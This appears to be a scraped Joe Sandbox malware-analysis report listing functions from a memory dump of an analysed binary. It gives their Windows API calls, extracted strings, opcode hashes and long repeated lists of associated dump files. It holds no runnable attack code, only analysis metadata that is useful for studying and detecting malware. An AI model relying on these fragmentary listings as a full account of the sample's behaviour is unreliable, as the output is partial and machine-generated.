Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 5ca3d71fc07164f070d06c24fac161ad7bbc3c8531357cf55258ba3152d42ad3
Instruction ID: 0d6e64b48a5d3274ef75835efe8b3646612f7e7d3f57716e60ee3f1ed900b46a
Opcode Fuzzy Hash: 5ca3d71fc07164f070d06c24fac161ad7bbc3c8531357cf55258ba3152d42ad3
Instruction Fuzzy Hash: 1B111C75600204BFDB00CFA4E888FAB33AAAF89750F149549F915CB341DB35ED42EB60

Function 00FC9AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FC4EEE,00000000,00000000), ref: 00FC9AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00FC4EEE,00000000,?), ref: 00FC9B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00FC4EEE,00000000,00000000), ref: 00FC9B2A
LocalFree.KERNEL32(?,?,?,?,00FC4EEE,00000000,?), ref: 00FC9B3F

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: e0f63b59b535bb6fa1bc450e29a7bfe7e61ac9b41775799ebf529b562e59350a
Instruction ID: aaf9ae7eee64690ec01f4603e4af3c6a7975d0bd284e4491032cf922a20f7800
Opcode Fuzzy Hash: e0f63b59b535bb6fa1bc450e29a7bfe7e61ac9b41775799ebf529b562e59350a
Instruction Fuzzy Hash: 0211A2B4640308BFEB11CF64D899FAA77B5FB89710F208158F9159B384C7B6AE01DB90

Function 00FD7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00FE0E00,00000000,?), ref: 00FD79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00FD79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00FE0E00,00000000,?), ref: 00FD79C4
wsprintfA.USER32 ref: 00FD79F3

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: a7919836d855ba7c672782330737cf9fa8f6e5bc4ac7191332cda8f2427caeb2
Instruction ID: 746a71ecd4bf10140887fa9be63585aa470e8a4a737b663378f3a91fd25615ef
Opcode Fuzzy Hash: a7919836d855ba7c672782330737cf9fa8f6e5bc4ac7191332cda8f2427caeb2
Instruction Fuzzy Hash: 41112AB2904218ABCB14DFD9E949BBEB7F8FB4CB11F10421AF605A2284E3395940D7B0

Function 01396276 Relevance: 5.3, Strings: 3, Instructions: 1582COMMON

Download Yara Rule

Strings

Uzl, xrefs: 01396710
S7so, xrefs: 013964E9
F}v, xrefs: 01396EAE

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: F}v$S7so$Uzl
API String ID: 0-4148027849
Opcode ID: b03924b4b66497ddb91b95bc500d6b72da3d3e3cb06b1f4ef1ae652f0f351790
Instruction ID: 685ab27d0c8cac56dc7e900124259fc2b0aae30829cb995839a633b8434d7398
Opcode Fuzzy Hash: b03924b4b66497ddb91b95bc500d6b72da3d3e3cb06b1f4ef1ae652f0f351790
Instruction Fuzzy Hash: 56B239F36082049FE304AE2DDC8567ABBE5EFD4720F1A893DE6C5C3744EA3598058697

Function 0138725C Relevance: 5.3, Strings: 3, Instructions: 1582COMMON

Download Yara Rule

Strings

01$, xrefs: 013882E3
WEe, xrefs: 01387968
*h{y, xrefs: 01387523

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *h{y$01$$WEe
API String ID: 0-3938394967
Opcode ID: b0ee519723539da73477990a9178278d83f3d0e80eac76d3ba9a8b956c6d6a07
Instruction ID: f090c291a88745f0b3d988d27323d731a90db4b45816fccf0f6460be241f9d28
Opcode Fuzzy Hash: b0ee519723539da73477990a9178278d83f3d0e80eac76d3ba9a8b956c6d6a07
Instruction Fuzzy Hash: 1EB2E4F390C210AFE708AE29DC8567ABBE5EF98720F16492DEAC4C7744E63558018797

Function 00FD3720 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00FDE118,00000000,00000001,00FDE108,00000000), ref: 00FD3758
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00FD37B0

Memory Dump Source

Source File: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 664b2e47912b30d43fa80c0344c68744b340d5440399b51d41b859931e461b39
Instruction ID: f73765746c70284dc5d3c743ac70e89d21a6309c28f35e1507a5f303dd3c228d
Opcode Fuzzy Hash: 664b2e47912b30d43fa80c0344c68744b340d5440399b51d41b859931e461b39
Instruction Fuzzy Hash: 80411871A00A289FDB24DB58CC85B9BB7B5BB48302F4081D9E608EB2D0D771AE85CF50

Function 01397D47 Relevance: 4.1, Strings: 2, Instructions: 1625COMMON

Download Yara Rule

Strings

I}, xrefs: 01397FDE
b=+, xrefs: 01397E15

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: b=+$I}
API String ID: 0-315633855
Opcode ID: 9f24e3b005168c3bf2e4ede9c003cdc32e9f951c24dcb8d8150e0a3a5ee31c32
Instruction ID: f17cc83ce5ee58a9545b1ff8bc7e919aeec244c4983c0194d335e0d904cc2678
Opcode Fuzzy Hash: 9f24e3b005168c3bf2e4ede9c003cdc32e9f951c24dcb8d8150e0a3a5ee31c32
Instruction Fuzzy Hash: 19B215F3A082109FE704AE29EC8567AFBE5EF94720F1A893DE6C4C3744E63558058797

Function 0122FE9F Relevance: 1.5, Strings: 1, Instructions: 224COMMON

Download Yara Rule

Strings

t4%y, xrefs: 0123007C

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: t4%y
API String ID: 0-659668196
Opcode ID: d6fa12c7e67ad3dba79a39a9a88d80f4043b8e77e5a10a97886c058f71405da6
Instruction ID: a47f212080f864c138da150f4d4cbe68b905241adc85d7d21fcf56e78ff80f00
Opcode Fuzzy Hash: d6fa12c7e67ad3dba79a39a9a88d80f4043b8e77e5a10a97886c058f71405da6
Instruction Fuzzy Hash: 4E619CF36487089FE3006E29ECC477AB7D9EBD4320F19463DEA8483B84ED7569058296

Function 012A5CB5 Relevance: 1.5, Strings: 1, Instructions: 211COMMON

Download Yara Rule

Strings

*^;, xrefs: 012A5DB6

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001165000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001185000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000118B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000120A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.0000000001489000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053715519.00000000014C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054064036.00000000014C3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2054166468.0000000001663000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fc0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: *^;
API String ID: 0-564079338
Opcode ID: 1cde4e3fece784de0673b348e845994f7a605a7bc1f0a1251d7df5d53d2b06e9
Instruction ID: 22c6ef11ff1241719c9e721192d416504cc3a00705843caab9034e018f73ee85
Opcode Fuzzy Hash: 1cde4e3fece784de0673b348e845994f7a605a7bc1f0a1251d7df5d53d2b06e9
Instruction Fuzzy Hash: 0561F2F3A083045FE3107A19EC8176AB7E9EFD4720F2A853DDBD887781E97958058687

Function 012CEA44 Relevance: 1.4, Strings: 1, Instructions: 200COMMON

Download Yara Rule

Strings

IjCo, xrefs: 012CEAAE

Memory Dump Source

Source File: 00000000.00000002.2053715519.000000000121E000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000000.00000002.2053294860.0000000000FC0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000101A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001045000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001048000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001052000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.0000000001071000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.000000000107D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2053331549.00000000010AF000.00000040.00000001.01000000.00000003.sdmpDownload File
